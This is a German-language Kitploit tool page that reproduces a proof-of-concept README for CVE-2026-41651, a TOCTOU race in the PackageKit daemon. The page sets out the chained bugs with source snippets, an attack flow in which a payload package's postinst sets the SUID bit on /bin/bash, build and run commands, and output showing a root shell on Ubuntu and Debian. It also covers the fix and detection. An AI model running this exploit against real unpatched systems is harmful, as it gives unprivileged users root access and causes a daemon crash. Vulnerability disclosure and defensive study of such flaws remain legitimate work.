Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/vozec/cve-2026-41651
Privilege EscalationSchwachstellenanalyseExploitation
GitHubvozec/cve-2026-41651

CVE-2026-41651

Nutzt eine TOCTOU-Race im Transaktionshandler von PackageKit aus, um beliebige Pakete als Root zu installieren, was eine lokale Privilegienausweitung und eine SUID-Shell ohne Authentifizierung ermöglicht.

Repository anzeigen
11418vor 4 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Pack2TheRoot — CVE-2026-41651

TOCTOU-Race im Transaktions-Handler von PackageKit. Jeder lokale Benutzer ohne Privilegien kann ohne Authentifizierung beliebige Pakete als root installieren.

Platform Language CVSS Status


Übersicht

FeldWert
CVECVE-2026-41651
KomponentePackageKit-Daemon (packagekitd)
Betroffene Versionen1.0.2 – 1.3.4
Behoben in1.3.5
AuswirkungLokale Privilegienerweiterung → root
Authentifizierung erforderlichKeine
BenutzerinteraktionKeine
Getestet aufUbuntu 24.04, Debian 12

Demo

poc

Schwachstelle

Drei Bugs in src/pk-transaction.c verketten sich zu einem TOCTOU-Fenster zwischen Autorisierung und Ausführung.

Bug 1 — Bedingungsloses Überschreiben der Flags (Zeile 4036)

InstallFiles() überschreibt cached_transaction_flags und cached_full_paths bedingungslos und ohne Zustandsprüfung:

root@kitploit:~
transaction->cached_transaction_flags = transaction_flags;
transaction->cached_full_paths = g_strdupv (full_paths);

Bug 2 — Lautlose Ablehnung von Zustandsübergängen (Zeilen 876–881)

pk_transaction_set_state() verwirft rückwärts gerichtete Übergänge stillschweigend. Die Flags sind bereits überschrieben, aber der Zustand bleibt unverändert:

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
    transaction->state > state) {
    g_warning ("cannot set %s, as already %s", ...);
    return;
}

Bug 3 — Spätes Lesen der Flags (Zeilen 2273–2277)

pk_transaction_run() liest die gecachten Flags erst beim Dispatch (aus dem GLib-Idle), nicht bei der Autorisierung:

root@kitploit:~
case PK_ROLE_ENUM_INSTALL_FILES:
    pk_backend_install_files (transaction->backend,
                              transaction->job,
                              transaction->cached_transaction_flags,
                              transaction->cached_full_paths);
    break;

Bonus — SIMULATE umgeht polkit (Zeilen 2893–2900)

Das Setzen von PK_TRANSACTION_FLAG_SIMULATE (Bit 2, Wert 0x4) überspringt die polkit-Prüfung vollständig:

root@kitploit:~
if (pk_bitfield_contain (transaction->cached_transaction_flags,
                         PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
    pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
    return TRUE;
}

Exploit-Ablauf

root@kitploit:~
Attacker                         packagekitd
   │                                  │
   │  CreateTransaction()             │
   │─────────────────────────────────►│  state = NEW
   │◄─────────────────────────────────│
   │                                  │
   │  InstallFiles(SIMULATE, dummy)   │
   │─────────────────────────────────►│  SIMULATE → polkit skipped
   │◄─────────────────────────────────│  state = READY
   │                                  │  g_idle_add(run_idle_cb) ← queued
   │                                  │
   │  InstallFiles(NONE, payload)     │  [BUG 1] flags + paths overwritten
   │─────────────────────────────────►│  [BUG 2] set_state(WAITING_FOR_AUTH)
   │◄─────────────────────────────────│          → silently rejected
   │                                  │          state stays READY
   │                                  │
   │                      [idle fires]│
   │                                  │  pk_transaction_run()
   │                                  │  [BUG 3] reads NONE + payload
   │                                  │  → dpkg installs payload as root
   │                                  │  → postinst: chmod +s /bin/bash
   │                                  │
   │  execv("/tmp/.suid_bash -p")     │
   │─────────────────────────────────►│
   │              euid=0(root)        │

Beide InstallFiles-Aufrufe werden als Fire-and-Forget-Async-D-Bus-Aufrufe gesendet, bevor die Hauptschleife des Clients iteriert. Das stellt sicher, dass beide Nachrichten im Server-Socket landen, bevor der GLib-Idle auslösen kann — es gibt keine zu gewinnende Race-Bedingung.

polkitd gibt für den zweiten Aufruf schließlich NOT_AUTHORIZED zurück, aber zu diesem Zeitpunkt hat APT die Installation bereits ausgelöst. Der Fehler ist erwartet und harmlos.


Erstellen

root@kitploit:~
sudo apt install libglib2.0-dev
make

Keine weiteren Abhängigkeiten — die .deb-Pakete werden zur Laufzeit in reinem C erstellt.


Verwendung

root@kitploit:~
./cve-2026-41651
root@kitploit:~
═══════════════════════════════════════════════════
 CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy   : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...

[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

euid=0 – alle Privilegienprüfungen im Kernel verwenden die effektive UID.


Docker

root@kitploit:~
docker build -t cve-2026-41651 .
docker run -it --rm cve-2026-41651

Das Image erstellt PackageKit 1.3.4 aus dem Quellcode (Commit 2149735, letzte verwundbare Version), startet dbus + polkitd + packagekitd und führt dann den Exploit als unprivilegierter Benutzer aus.

Hinweis zum g_assert: Das Docker-Image entfernt per Patch eine g_assert (!transaction->emitted_finished)-Sicherung aus pk-transaction.c. Auf einem echten, ungepatchten System feuert dieser Assert, wenn der APT-Thread versucht, Finished zu emittieren, nachdem polkitd dies bereits getan hat, und bringt den Daemon per SIGABRT zum Absturz. Zu diesem Zeitpunkt liegt die SUID-Bash bereits auf der Platte, sodass die Privilegienerweiterung gelingt – der Absturz ist ein DoS als Nebeneffekt. packagekitd startet bei der nächsten D-Bus-Aktivierung neu.


Erkennung

Bei PackageKit ≥ 1.3.5 wird der zweite Aufruf abgelehnt:

root@kitploit:~
[-] Target is PATCHED (PackageKit >= 1.3.5)

Der Fix fügt in pk_transaction_method_call() eine Zustandsprüfung hinzu:

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
    g_dbus_method_invocation_return_error (invocation,
        PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, ...);
    return;
}
root@kitploit:~
pkcon --version
journalctl -u packagekit --since '5 min ago'

Referenzen

  • NVD — CVE-2026-41651
  • GitHub Advisory — GHSA-f55j-vvr9-69xv
  • Telekom Security — pack2theroot
  • Fix commit — 76cfb675
  • OSS-Security announcement
Tool herunterladen